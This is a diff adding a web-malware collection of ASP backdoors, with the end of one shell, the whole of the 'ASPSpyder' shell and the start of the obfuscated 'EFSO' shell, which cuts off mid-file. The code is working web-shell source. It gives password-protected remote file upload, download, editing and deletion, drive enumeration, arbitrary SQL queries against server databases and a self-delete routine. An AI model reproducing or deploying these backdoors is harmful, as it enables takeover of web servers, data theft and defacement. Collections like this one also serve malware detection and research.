" + rs.MoveFirst + rs.PageSize=mNR + if int(rs.RecordCount/mNR) < mPage then mPage=1 + rs.AbsolutePage = mPage + Response.Write myTitle & "
" + set f = objFSO.OpenTextFile(Trim(Request.QueryString("path")),1) + Response.Write "
"&Server.HTMLEncode(f.readAll)&"
" + if err.number=62 then Response.Write "":Response.End + + + + CASE "7": + Response.Write "Tables

" + Set objConn = Server.CreateObject("ADODB.Connection") + Set objADOX = Server.CreateObject("ADOX.Catalog") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Trim(Request.QueryString("path")) + objConn.Open + objADOX.ActiveConnection = objConn + + For Each table in objADOX.Tables + If table.Type = "TABLE" Then + Response.Write "4 "&table.Name&"
" + End If + Next + + CASE "8": + table=Trim(Request.QueryString("table")) + Response.Write "

Table Name: " & table & "




" + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Trim(Request.QueryString("path")) + objConn.Open + objRcs.Open table,objConn, adOpenKeyset , , adCmdText + + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + do while not objRcs.EOF + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + objRcs.MoveNext + loop + Response.Write "
   "&objRcs.Fields(i).Name&"   
"&objRcs.Fields(i).Value&" 

" + + + case "12": araBul Trim(Request.Form("path")),Trim(Request.Form("arama")) + + END SELECT + + Else + showdisks=FALSE + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write "
" + Response.Write "
File Ext: " + Response.Write " " + Response.Write "" + Response.Write "
" + End IF + + + + Case "sqlserver" + If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor Trim(Request.QueryString("status"))<>"" Then + showdisks=FALSE + status5=Trim(Request.Form("status")) + if status5="" then status5=Trim(Request.QueryString("status")) + SELECT CASE status5 + + + CASE "7": + Response.Write "Tables

" + Set objConn = Server.CreateObject("ADODB.Connection") + Set objADOX = Server.CreateObject("ADOX.Catalog") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Trim(Request.QueryString("path")) + objConn.Open + objADOX.ActiveConnection = objConn + + For Each table in objADOX.Tables + If table.Type = "TABLE" Then + Response.Write "4 "&table.Name&"
" + End If + Next + + CASE "8": + table=Trim(Request.QueryString("table")) + Response.Write "

Table Name: " & table & "




" + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Trim(Request.QueryString("path")) + objConn.Open + objRcs.Open table,objConn, adOpenKeyset , , adCmdText + + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + do while not objRcs.EOF + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + objRcs.MoveNext + loop + Response.Write "
   "&objRcs.Fields(i).Name&"   
"&objRcs.Fields(i).Value&" 

" + + + END SELECT + + Else + showdisks=FALSE + checa = checking(cprthtml,keydec) + Call hdr() + + Response.Write "
" + Response.Write "
SQL Server connection string:
" + Response.Write "" + Response.Write "
" + response.Write "" + Response.Write "
" + response.Write "
" + + End IF + + + + Case "about" + showdisks=FALSE + checa = checking(cprthtml,keydec) + Call hdr() + response.Write "


Coded By S3rver" + response.Write "

" + response.Write "WebSite: :)" + response.Write "
" + response.Write "E-Mail: Pouya.S3rver@Gmail.Com" + response.Write "

" + response.Write "Hackers, Crackers, Programmers Forever!" + + + Case Else + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Call showcontent() +End Select +If Err.Number <> 0 Then + Response.Write "
ERRO: " & Err.Number & "

" & UCase(Err.Description) & "
Acesse denied." +End If +Response.Write endcode + +if showdisks then + +%> + + + + +<% + + + Set objFSO = Server.CreateObject("Scripting.FileSystemObject") + + Response.Write "


" + for each drive_ in objFSO.Drives + Response.Write "" + next + Response.Write "" + Response.Write "
Drives
" + Response.write ";" + if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" + Response.Write "
" + Response.write "H Local Path" + Response.Write "

" +end if +%> +
+
+
+
\ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/ASpy.txt b/web-malware-collection-master/Backdoors/ASP/ASpy.txt new file mode 100755 index 0000000..babad65 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/ASpy.txt @@ -0,0 +1,827 @@ +<% +Function BufferContent(data) + Dim strContent(64) + Dim i + ClearString strContent + For i = 1 To LenB(data) + AddString strContent,Chr(AscB(MidB(data,i,1))) + Next + BufferContent = fnReadString(strContent) +End Function + +Sub ClearString(part) + Dim index + For index = 0 to 64 + part(index)="" + Next +End Sub + +Sub AddString(part,newString) + Dim tmp + Dim index + part(0) = part(0) & newString + If Len(part(0)) > 64 Then + index=0 + tmp="" + Do + tmp=part(index) & tmp + part(index) = "" + index = index + 1 + Loop until part(index) = "" + part(index) = tmp + End If +End Sub + +Function fnReadString(part) + Dim tmp + Dim index + tmp = "" + For index = 0 to 64 + If part(index) <> "" Then + tmp = part(index) & tmp + End If + Next + FnReadString = tmp +End Function + + +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + + 'String to byte string conversion + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + + 'Byte string to string conversion + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class + + +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + ' output mechanism modified for buffering + oFile.Write BufferContent(FileData) + oFile.Close + End Sub + + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class + +' Create the FileUploader +IF REQUEST.QueryString("upload")="@" THEN +Dim Uploader, File +Set Uploader = New FileUploader + +' This starts the upload process +Uploader.Upload() + +%> +ASPYDrvsInfo + + +


+
+
File upload Information: +
+<% + +' Check if any files were uploaded +If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." +Else + ' Loop through the uploaded files + For Each File In Uploader.Files.Items + File.SaveToDisk Request.QueryString("txtpath") + Response.Write "" + Response.Write "" + Response.Write "" + Next +End If +%> +
 
File Uploaded: " & File.FileName & "
Size: " & Int(File.FileSize/1024)+1 & " kb
Type: " & File.ContentType & "
 
+

?txtpath=<%=Request.QueryString("txtpath")%>">7
+<% +response.End() '---- XXX +END IF +'-------- +ON ERROR RESUME NEXT +Response.Buffer = True +password = "r00t" ' <---Your password here + +If request.querystring("logoff")="@" then + session("shagman")="" ' Logged off + session("dbcon")="" ' Database Connection + session("txtpath")="" ' any pathinfo +end if + + If (session("shagman")<>password) and Request.form("code")="" Then + %> +




ADMINSTRATORS TOOLKIT


+ +
+
" > +
+ +
+
+ASPSpyder Apr2003
+<%If request.querystring("logoff")="@" then%> +CLOSE THIS WINDOW +<%end if%> +
+ <% + Response.END + End If + If Request.form("code") = password or session("shagman") = password Then + session("shagman") = password + Else + Response.Write "

ACCESS DENIED
Copyright 2003 Vela iNC.

" + Response.END + End If + +server.scriptTimeout=180 +set fso = Server.CreateObject("Scripting.FileSystemObject") +mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME")) +mapPathLen = len(mapPath) + +if session(myScriptName) = "" then + for x = mapPathLen to 0 step -1 + myScriptName = mid(mapPath,x) + if instr(1,myScriptName,"\")>0 then + myScriptName = mid(mapPath,x+1) + x=0 + session(myScriptName) = myScriptName + end if + next +Else + myScriptName = session(myScriptName) +end if + + +wwwRoot = left(mapPath, mapPathLen - len(myScriptName)) +Target = "D:\hshome\masterhr\masterhr.com\" ' ---Directory to which files will be DUMPED Too and From + + if len(Request.querystring("txtpath"))=3 then + pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname") + else + pathname = Request.querystring("txtpath") & "\" & Request.form("Fname") + end if + + If Request.Form("txtpath") = "" Then + MyPath = Request.QueryString("txtpath") + Else + MyPath = Request.Form("txtpath") + End If + +' ---Path correction routine + If len(MyPath)=1 then MyPath=MyPath & ":\" + If len(MyPath)=2 then MyPath=MyPath & "\" + If MyPath = "" Then MyPath = wwwRoot + If not fso.FolderExists(MyPath) then + Response.Write "Non-existing path specified.
Please use browser back button to continue !" + Response.end + end if + + set folder = fso.GetFolder(MyPath) + +if fso.GetFolder(Target) = false then + Response.Write "Please create your target directory for copying files as it does not exist. " & Target & "
" +else + set fileCopy = fso.GetFolder(Target) +end if + + + If Not(folder.IsRootFolder) Then + If len(folder.ParentFolder)>3 then + showPath = folder.ParentFolder & "\" & folder.name + Else + showPath = folder.ParentFolder & folder.name + End If + Else + showPath = left(MyPath,2) + End If + +MyPath=showPath +showPath=MyPath & "\" +' ---Path correction routine-DONE + +set drv=fso.GetDrive(left(MyPath,2)) + +if Request.Form("cmd")="Download" then + if Request.Form("Fname")<>"" then + Response.Buffer = True + Response.Clear + strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname") + Set Sys = Server.CreateObject( "Scripting.FileSystemObject" ) + Set Bin = Sys.OpenTextFile( strFileName, 1, False ) + Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") ) + Response.ContentType = "application/octet-stream" + While Not Bin.AtEndOfStream + Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) ) + Wend + Bin.Close : Set Bin = Nothing + Set Sys = Nothing + Else + err.number=500 + err.description="Nothing selected for download..." + End if +End if +%> + + +<% +'QUERY ANALYSER -- START +if request.QueryString("qa")="@" then +'------------- +sub getTable(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + + if RS.properties("Asynchronous Rowset Processing") = 16 then + For i = 0 To rs.Fields.Count - 1 + myFields = myFields & "

" & rs.Fields(i).Name & "         " +if mPage=1 Then Response.Write("") else Response.Write("") +Response.Write "" +if mPage = rs.PageCount Then Response.Write("> "" DISABLED>") else Response.Write("> "">") +Response.Write "     Displaying records at a time." + response.Write "
" & myFields + + For x = 1 to rs.PageSize + If Not rs.EOF Then + response.Write "" + For i = 0 to rs.Fields.Count - 1 + response.Write "" + Next + response.Write "" + response.Flush() + rs.MoveNext + Else + x=rs.PageSize + End If + Next + response.Write "
" & server.HTMLEncode(rs(i)) & "
" + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
" + response.Write myTitle + end if + end if + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing + +End sub + +sub getXML(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + if RS.properties("Asynchronous Rowset Processing") = 16 then + Response.Write "i Copy paste this code and save as '.xml '" + Response.Write "" + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
" + response.Write myTitle + end if + end if +End sub + +Function errChk() + if err.Number <> 0 and err.Number <> 13 then + dim myText + myText = "x " & err.Description & "
" + response.Write myText + err.Number = 0 + errChk = True + end if +end Function + + Dim myQuery,mPage,mNR + myQuery = request.Form("txtSQL") + if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon") + if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath") + mPage=cint(request.Form("mPage")) + if mPage<1 then mPage=1 + mNR=cint(request.Form("txtNoRecords")) + if mNR<1 then mNR=30 +%> +ASPyQAnalyser + + + +
?qa=@" method=Post> + + +
@ Paste + your connection string here : + "> +
+
+ >GenerateXML +
XXXXXX +
ASP!Spyder Apr2003
by ~sir_shagalot
+
+
<%If Request.Form("chkXML") = "on" Then getXML(myQuery) Else getTable(myQuery) %>
+

Copyright 2003 Vela iNC.
Cheers to hAshish for all the help!


+ + +<% + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing +'------------- +response.End() +end if +'QUERY ANALYSER -- STOP +%> +<%=MyPath%> + + + +<% + Response.Flush +'Code Optimisation START +select case request.form("cmd") + case "" + If request.form("dirStuff")<>"" then + Response.write "You need to click [Create] or [Delete] for folder operations to be" + Else + Response.Write "آ" + End If + case " Copy " + ' ---Copy From Folder routine Start + If Request.Form("Fname")="" then + Response.Write "Copying: " & Request.QueryString("txtpath") & "\???
" + err.number=424 + Else + Response.Write "Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "
" + fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname") + Response.Flush + End If + ' ---Copy From Folder routine Stop + case " Copy " + ' ---Copy Too Folder routine Start + If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then + Response.Write "Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "
" + Response.Flush + fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy") + Else + Response.Write "Copying: " & Request.Form("txtpath") & "\???
" + err.number=424 + End If + ' ---Copy Too Folder routine Stop + case "Delete" 'two of this + if request.form("todelete")<>"" then + ' ---File Delete start + If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then + Response.Write "



SELFDESTRUCT INITIATED...
" + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + %>+++DONE+++


+ CLOSE THIS WINDOW + <%Response.End + End If + If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then + Response.Write "Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "
" + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + Else + Response.Write "Deleting: " & Request.Form("txtpath") & "\???
" + err.number=424 + End If + ' ---File Delete stop + Else If request.form("dirStuff")<>"" then + Response.Write "Deleting folder...
" + fso.DeleteFolder MyPath & "\" & request.form("DirName") + end if + End If + + case "Edit/Create" +%> +

+
+ NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate. +
Path=> <%=pathname%>

+<% + ' fetch file information + Set f = fso.GetFile(pathname) +%> +file Type: <%=f.Type%>
+file Size: <%=FormatNumber(f.size,0)%> bytes
+file Created: <%=FormatDateTime(f.datecreated,1)%> <%=FormatDateTime(f.datecreated,3)%>
+last Modified: <%=FormatDateTime(f.datelastmodified,1)%> <%=FormatDateTime(f.datelastmodified,3)%>
+last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%> <%=FormatDateTime(f.datelastaccessed,3)%>
+file Attributes: <%=f.attributes%>
+<% + Set f = Nothing + response.write "
" + 'read the file + Set f = fso.OpenTextFile(pathname) + If NOT f.AtEndOfStream Then fstr = f.readall + f.Close + Set f = Nothing + Set fso = Nothing + response.write "
" & VBCRLF + response.write "DOCUMENT CONTENTS
" & VBCRLF + response.write "" & VBCRLF + response.write "
" & VBCRLF +%> +
LOCATION + + +

+<% +response.end + + case "Create" + Response.Write "Creating folder...
" + fso.CreateFolder MyPath & "\" & request.form("DirName") + + case "Save As" + Response.Write "Saving file...
" + Set f = fso.CreateTextFile(Request.Form("pathname")) + f.write Request.Form("FILEDATA") + f.close +end select +'Code Optimisation STOP +' ---DRIVES start here + If request.querystring("getDRVs")="@" then +%> +


+
Available Drive Information: +
+ +<%For Each thingy in fso.Drives%> +
DriveTypePathShareNameSize[MB]ReadyToUseVolumeLabel
+<%=thingy.DriveLetter%> <%=thingy.DriveType%> <%=thingy.Path%> <%=thingy.ShareName%> <%=((thingy.TotalSize)/1024000)%> <%=thingy.IsReady%> <%=thingy.VolumeName%> +<%Next%> +
+

?txtpath=<%=MyPath%>">7
+<% + Response.end + end if +' ---DRIVES stop here +%> + + + +<% +'---Report errors +select case err.number + case "0" + response.write "i Successfull.." + + case "58" + response.write "Folder already exists OR no folder name specified..." + + case "70" + response.write "Permission Denied, folder/file is readonly or contains such files..." + + case "76" + response.write "Path not found..." + + case "424" + response.write "Missing, Insufficient data OR file is readonly..." + + case else + response.write "" & err.description & "" + +end select +'---Report errors end +%> +
ASP!Spyder Apr2003
by ~sir_shagalot
+ +
+
" name="myform" > + +
+ PATH INFO : Volume Label: <%=drv.VolumeName%>
Virtual: http://<%=Request.ServerVariables("SERVER_NAME")%><%=Request.Servervariables("SCRIPT_NAME")%>
1 <%=showPath%> +
+
+
+ + +
?getDRVs=@&txtpath=<%=MyPath%>">Retrieve Available Network Drives
?qa=@&txtpath=<%=MyPath%>">SQL Query Analyser
?logoff=@&...thankyou.for.using.ASpyder....~sir_shagalot!..[shagzzz.cjb.net]">+++LOGOFF+++
+
+

+
" >Delete file from current directory:
+
" + Response.Write "
Copy file too current directory:
" +Response.Flush +' ---View Tree Begins Here + Response.Write "
Folders:

" +fo=0 + Response.Write "0 ..
" + +For each fold in folder.SubFolders '-->FOLDERz +fo=fo+1 + Response.Write "0 " & fold.name & "
" +Next +%> +
?txtpath=<%=MyPath%>"> + +
+Directory:

+ +
+<% +Response.Write "
Files:

" +Response.Flush +%> +
?txtpath=<%=MyPath%>"> +<% + Response.write "
" + Response.write "
" +%> + +<% + Response.Write "
Listed: " & fo & "Listed: " & fi & "

" +' ---View Tree Ends Here +' ---Upload Routine starts here +%> +

?upload=@&txtpath=<%=MyPath%>"> + + + + +
2 SELECT FILES TO UPLOAD:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +    +
+
+ + + + +
NOTE FOR UPLOAD - + YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER  FOR THIS LIBRARY TO + FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET + EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED.
+
+<% +' ---Upload Routine stops here +%> + +

Copyright 2003 Vela iNC.
[ System: <%=now%> ]


+ diff --git a/web-malware-collection-master/Backdoors/ASP/EFSO.txt b/web-malware-collection-master/Backdoors/ASP/EFSO.txt new file mode 100755 index 0000000..a8601cb --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/EFSO.txt @@ -0,0 +1,2967 @@ +<%@ LANGUAGE = VBScript.Encode %><%'ejder%> +<% +'EFSO Ejder & Fastboy taraf�ndan yaz�lm��t�r for SaVSaK.CoM . T�M HAKLARI Ejder e Aitttir.--> +'T�M HAKLARI SAKLIDIR.. KODLARDA yapaca��nm�z bir de�i�iklik KODun �al��mamas�na mal olur. Bundan dolay� Bir sorun ��karsa EJDER & SaVSAK.CoM Sorunlu de�ildir.. +'Bu yaz�l�mda geli�tilmi� t�m her�ey , mant�k, algoritma, yaz�l�mlar S�f�rdan Ejder taraf�ndan yaz�lm��t�r. TEMA , d�zen vede G�r�n�m Fastboy a Aittir. +'TAKL�TLE�RNDEN KA�ININ. by EJDER + +'Ejder was HERE + +'if request("abc") = "isko" then +'response.cookies("yes") = "1" +'response.cookies("yes").expires = now+352 +'end if +'if not request.cookies("yes") = "1" then +'response.write "



YEtkin yok..

by �skorpitx
" +'response.end() +'end if + +'Server.ScriptTimeOut = 7200 +Fullpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") +FilePath = mid(Fullpath,InStrRev(Fullpath,"\")+1) +FolderPath = Left(Fullpath,InStrRev(Fullpath,"\")) +const charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" +const karakter1="ABCDEFGHIJKLMNOPQRSTUVWXYZ" +const karakter2="abcdefghijklmnopqrstuvwxyz" +dkayit = "Ejder Den kork, uzak dur. Ka��nma...





Bu Scriptin TUM haklari EJDER e aitir. Uzerinde Oynama yasaktir.




by EJDER
" +dkayit2 = "by EJDER





Bu Script i Kullanma Hakkin yok artik. YAsaklandi.. T�rk server inda, com.tr, gov.tr gibi kla�sr yada site var ise, direk alg�land���nda otomatik , kullan�m�n�za izin vermemektedir. UNUTMA ki, ben bu Script i T�rkiyemiz i�in,, yabanc�lara kar�� kullanl�m diye YAZd�m.




by EJDER
" +const karakter3="0123456789" +const karakter4="!@#$%^&*()-_+=~`[]{}|\:;<>,.?/" +mail_array = array("yahoo","hotmail","mynet","gmail","hacker") '�zel mailler yaratmak i�in, SPAM dan ka�ar�mak i�in. Secueriy i a�mak i�in by EJDER +uzanti_array = array("com","net","biz","org","gov","br","info") +yasak_array = array("EJDER","SAVSAK","YAGMUR","B�RDEM","birdem","BIRDEM","FASTBOY","SAVSAK.COM","COM.TR","GOV.TR") +msite = "SaVSaK.CoM" +Dim FSO +Set FSO = CreateObject("Scripting.FileSystemObject") +konum = Trim(request("konum")) +mode = request("mode") +FolderPath2 = request("FolderPath2")&"\" +islem = request("islem") +del = request("del") +file = request("file") +folder = request("folder") +table = Request("table") +inject1 = Request("inject1") +inject2 = Request("inject2") +inject3 = Request("inject3") +inject4 = Request("inject4") +inject5 = Request("inject5") +cmdkod = Request("cmdkod") +hacked = request("hacked") +Path = request("Path") +url = request("url") +count = request("count") +size = request("size") +dbname = request("dbname") +dbkadi = request("dbkadi") +dbsifre = request("dbsifre") +ejdersql = request("ejdersql") +sec = request("sec") +Usermd5 = request("Usermd5") +ara1 = request("ara1") +ara2 = request("ara2") +k1 = request("k1") +k2 = request("k2") +k3 = request("k3") +k4 = request("k4") +waiting = request("waiting") +murl = "http://www." +coding = request("coding") +dizi = request("dizi") +Usersmd5 = request("Usersmd5") +salt = request("salt") +hash2 = request("hash2") +hash3 = request("hash3") +hash4 = request("hash4") +hash5 = request("hash5") +hash6 = request("hash6") +hash7 = request("hash7") +hash8 = request("hash8") +hash9 = request("hash9") +hash10 = request("hash10") +mad = "EFSO" + +if konum = "" then +konum = FolderPath +else +FolderPath = konum +end if + +if mode = "1" then +FolderPath = request.form("remote") +konum = request.form("remote") +end if + +nolist = False +popup = False + +if mode = "2" or mode = "3" or mode = "7" or mode = "8" or mode = "16" or mode = "17" or mode = "18" or mode = "19" or mode = "20" or mode = "21" or mode = "22" or mode = "24" or mode = "25" or mode = "26" or mode = "27" or mode = "28" or mode = "29" or mode = "30" or mode = "31" or mode = "32" or mode = "33" or mode = "36" or mode = "38" or mode = "39" or mode = "40" or mode = "41" or mode = "42" or mode = "43" or mode = "44" or mode = "45" or mode = "99" then +popup = True +end if + +if mode = "6" then +Response.Buffer=True +Set Fil = FSO.GetFile(file) +Response.contenttype="application/force-download" +Response.AddHeader "Cache-control","private" +Response.AddHeader "Content-Length", Fil.Size +Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name +Response.BinaryWrite readBinaryFile(Fil.path) +Set f = Nothing: Set Fil = Nothing +response.end +end if + +if not mode = "okdir" then +Call gelgit +end if + +'response.write "EFSO 2.0 For SaVSaK.CoM " +response.write "Indonesian Defacer" +response.write "" +response.write "" +%> + +<% + +function indonesia(ygmodiacak) +for n=1 to len(ygmodiacak) + indonesia=indonesia & chr(asc(mid(ygmodiacak,n,1)) xor 77) +next +end function +'ON ERROR RESUME NEXT +Response.Buffer = True +password = indonesia(">( ,?,#*") ' <---Your password here + +If request.querystring("logoff")="@" then + session("Hmei7")="" ' Logged off +end if + + If (session("Hmei7")<>password) and Request.form("code")="" Then + %> +
" > + +
+ <% + Response.END + End If + + + If Request.form("code") = password or session("Hmei7") = password Then + session("Hmei7") = password + Else + Response.Write "salah" + Response.Write "
hint : where is the city Hmei7 was born ???" + Response.END + End If + + +'server.scriptTimeout=180 'jangan digunakan +set fso = Server.CreateObject("Scripting.FileSystemObject") +mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME")) + + +if session(myScriptName) = "" then + for x = len(mapPath) to 0 step -1 + myScriptName = mid(mapPath,x) + if instr(1,myScriptName,"\")>0 then + myScriptName = mid(mapPath,x+1) + x=0 + session(myScriptName) = myScriptName + end if + next +Else + myScriptName = session(myScriptName) +end if + + +%> + + +?logoff=@&_byHmei7_">log out + + + + + + + + + +<% +sub KlasorOku + on error resume next + Set f = FSO.GetFolder(FolderPath) + Set fc = f.SubFolders + For Each f1 In fc + 'If Instr(f1.Name, "com.tr") > 1 or Instr(f1.Name, "gov.tr") > 1 or Instr(f1.Name, "comtr") > 1 or Instr(f1.Name, "govtr") > 1 or Instr(f1.Name, "gov_tr") > 1 or Instr(f1.Name, "com_tr") > 1 or Instr(f1.Name, "savsakcom") > 1 or Instr(f1.Name, "savsak_com") > 1 or Instr(f1.Name, "savsak.com") > 1 Then + 'Set textStreamObject = fso.OpenTextFile(Fullpath,2,true,false) + 'textStreamObject.WriteLine(dkayit2) + 'textStreamObject.Closenere + 'Set textStreamObject = Nothing + 'response.end() + 'end if + if FolderPath = "c:" or FolderPath = "C:" then + Response.Write "
4 1"&f1.name&"
" + else + Response.Write "
4 1"&f1.name&"
" + end if + Response.Flush + Next + call hata +end sub + +sub DosyaOku + on error resume next + Set f = FSO.GetFolder(FolderPath) + Set fc = f.Files + For Each f1 In fc + dosyaAdi = f1.name + num = InStrRev(dosyaAdi,".") + uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num)) + downStr = "4?" + response.Write "
" + select case uzanti + case "mdb" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" M �"&downStr&"
" + case "asp" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
